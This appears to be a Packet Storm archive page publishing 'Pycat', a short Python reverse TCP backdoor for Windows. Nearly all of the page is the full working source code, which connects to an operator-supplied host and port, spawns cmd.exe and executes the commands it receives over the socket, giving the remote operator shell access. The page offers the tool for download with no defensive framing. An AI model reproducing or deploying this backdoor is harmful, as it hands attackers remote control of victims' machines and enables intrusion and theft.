exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pycat Simple Windows Reverse TCP backdoor

Pycat Simple Windows Reverse TCP backdoor
Posted Apr 26, 2019
Authored by Daniel Moreno

Pycat is a simple Windows reverse TCP backdoor akin to a netcat TCP reverse connection clone. Written in Python.

tags | tcp, python
systems | windows
SHA-256 | 87c525e44512dcd47cc0d652b9ad377f81a2997c6ac650b9f0346ac0b7e1c508

Pycat Simple Windows Reverse TCP backdoor

Change Mirror Download
import asyncio
import socket
import argparse

parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description="############### pycat ###############\n" \
" Windows Reverse TCP backdoor\n"
"Usage: python pycat.py --host netcatIP --port PORT\n\n" \
"Demo: youtube.com/watch?v=3sMhHL6c68E\n"\
"GitHub: github.com/danielhnmoreno/pycat\n" \
"Contact: contato@bluesafe.com.br")

parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')

arguments = parser.parse_args()

HOST = arguments.host
PORT = arguments.port


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

async def shell():
while 1:
proc = await asyncio.create_subprocess_shell("cmd",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT)
cmd = b"\n"
proc.stdin.write(cmd)

while 1:
while 1:
out = await proc.stdout.readline()
break_ = out.decode("latin-1")
if break_[-2:] == ">\n" or break_[-3:] == "> \n":
s.send(out[:-1])
break
elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
pass
else:
s.send(out)

cmd = s.recv(1024)
cmd_ = cmd.decode()
if cmd_ == "\n":
proc.stdin.write(b"\n")
elif cmd_.startswith("exit"):
proc.terminate()
break
else:
proc.stdin.write(cmd + b"\n")

asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close